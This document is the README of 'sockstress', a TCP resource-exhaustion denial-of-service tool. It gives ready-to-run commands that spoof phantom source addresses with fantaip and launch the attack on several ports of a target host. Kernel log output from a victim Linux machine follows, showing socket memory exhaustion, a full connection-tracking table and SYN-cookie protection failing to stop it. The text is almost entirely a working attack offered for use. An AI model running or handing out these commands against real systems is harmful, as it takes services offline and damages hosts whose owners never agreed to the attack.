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README
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run like
get fantaip from unicornscan or something similar (if you need to arp a phantom ip address)
fantaip -i eth0 -d 192.168.0.43/29
then run the program like
./sockstress -s 192.168.0.43/29 -d www.frog.com -p 80 -c -1 -m -1
#### NOTES FOLLOWING ARE OLD #####
we do:
# fantaip -H 00:01:02:03:04:05 -i eth0 -d 192.168.13.44/29
# ./sockstress -c 1000000 -d 192.168.13.120 -p22,25,80,10000 -s 192.168.13.44/29 -H 00:01:02:03:04:05 -vv -m 99999999 -S 500
after a bit, we get...
Out of socket memory
printk: 4 messages suppressed.
ip_conntrack: table full, dropping packet.
ip_conntrack: table full, dropping packet.
Out of socket memory
Out of socket memory
printk: 22 messages suppressed.
ip_conntrack: table full, dropping packet.
Out of socket memory
Out of socket memory
this is a mere 100k of bandwidth, even after the attack stops, the remote system has issues.
with synflood protection enabled:
possible SYN flooding on port 22. Sending cookies.
Out of socket memory
Out of socket memory
TCP: too many of orphaned sockets
TCP: too many of orphaned sockets
TCP: too many of orphaned sockets
Out of socket memory
Out of socket memory
TCP: too many of orphaned sockets
Out of socket memory
Out of socket memory
printk: 1130 messages suppressed.
Out of socket memory
printk: 1145 messages suppressed.
Out of socket memory
printk: 1093 messages suppressed.
Out of socket memory
remote system info:
linux 2.6.?
1.5 Gig of ram